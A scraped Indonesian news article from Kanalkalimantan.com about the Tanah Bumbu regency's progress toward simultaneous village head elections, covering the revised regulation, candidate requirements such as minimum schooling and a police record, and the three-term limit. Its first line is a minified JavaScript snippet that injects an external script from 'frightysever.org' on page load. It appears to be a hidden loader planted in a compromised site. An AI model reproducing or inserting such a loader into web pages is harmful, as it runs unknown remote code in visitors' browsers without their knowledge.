(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Tanah Bumbu sampaikan progres penyelenggaraan Pilihan Kepada Desa (Pilkades) Serentak di Kabupaten Tanah Bumbu.
Plt Kepala Dinas PMD Kabupaten Tanah Bumbu, Samsir melalui Kabid Administrasi Pemerintahan Desa, Sabyani menjelaskan terkait dengan progres Pilkades Serentak kini masih dalam proses penyusunan peraturan daerah tentang penyelenggaraan Pilkades.
Tujuan dari perubahan Perda tentang Pilkades serentak ini yakni untuk menyesuaikan aturan pemilihan kepala desa yang akan diselenggarakan dengan kondisi di Kabupaten Tanah Bumbu pada masa pandemi seperti saat ini.
“Adapun syarat bagi calon kepala desa yakni minimal pendidikan SMP sederajat, tidak pernah menjalani hukum pidana, menyertakan SKCK, dan tidak pernah dicabut hak pilihnya,” terangnya, Senin (21/3/2022).
Baca juga: Seleksi Pejabat Pemko Banjarbaru, Ada dari Pemprov Kalsel, Pemkab Banjar, Balangan hingga Batola
Kemudian bagi masyarakat yang pernah mencalonkan diri sebagai kepala desa pada periode sebelumnya diperbolehkan untuk mencalonkan diri kembali dengan syarat belum mencalonkan diri baik secara berturut-turut maupun tidak berturut-turut dengan jumlah yang melebihi batas yakni tiga periode.
“Seperti pelaksanaan pemilu pada umumnya, Pilkades yang akan diselenggarakan nanti juga menganut asas Luber Jurdil (langsung, umum, bebas, rahasia, jujur dan adil),” ungkapnya.
Disamping itu dirinya, juga mengatakan untuk jumlah calon kepala desa yang akan menjadi kandidat pada setiap wilayah desa maksimal berjumlah lima orang dan minimal berjumlah dua orang.
“Diharapkan orang-orang yang akan menjadi kandidat terbaik ini juga memiliki sifat yang dapat memahami, mengayomi, disiplin, dan peduli dengan masyarakatnya karena salah satu tugas dari kepala desa yakni melayani masyarakat,” ucapnya.
Hal ini juga disampaikan oleh Bupati Tanah Bumbu, HM Zairullah Azhar pada saat Musrenbang di Kecamatan Kusan Tengah mengatakan bahwa tugas dari kepala desa yang dapat bermanfaat bagi masyarakatnya merupakan salah satu pintu keberkahan bagi kepala desa dan hal tersebut juga termasuk dalam tugas yang sangat mulia.
Baca juga: Mega Beri Saran Makanan Direbus, Emak-emak: Masalahnya Kenapa Minyak Goreng Mahal, Bu!
DPMD Tanbu berharap dengan rencana penyelenggaraan Pilkades Serentak nanti dapat berjalan dengan lancar dan sukses serta akan terpilih kepala desa yang memiliki visi membangun untuk mensejahterakan masyarakat dan memajukan desa di Kabupaten Tanah Bumbu. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Amanat Nasional (PAN) Kota Banjarbaru kedatangan Darmawan Jaya Setiawan, kader… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Pekapuran B Laut, Kecamatan Banjarmasin Tengah, Kota Banjarmasin dibuat geger… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pencinta wisata alam wajib menjajal objek wisata satu ini, yaitu wahana kano… Read More
KANALKALIMANTAN.COM, BANJARBARU – Aditya Mufti Ariffin menyerahkan formulir pendaftaran sebagai bakal calon (bacalon) Wali Kota… Read More
KANALKALIMANTAN.COM, MARTAPURA - Mewakili Bupati Banjar H Saidi Mansyur, Asisten Pemerintahan dan Kesra H Masruri… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah Kabupaten Banjar melaksanakan audiensi dengan Asisten Deputi Koordinasi Pelaksanaan Kebijakan dan… Read More
This website uses cookies.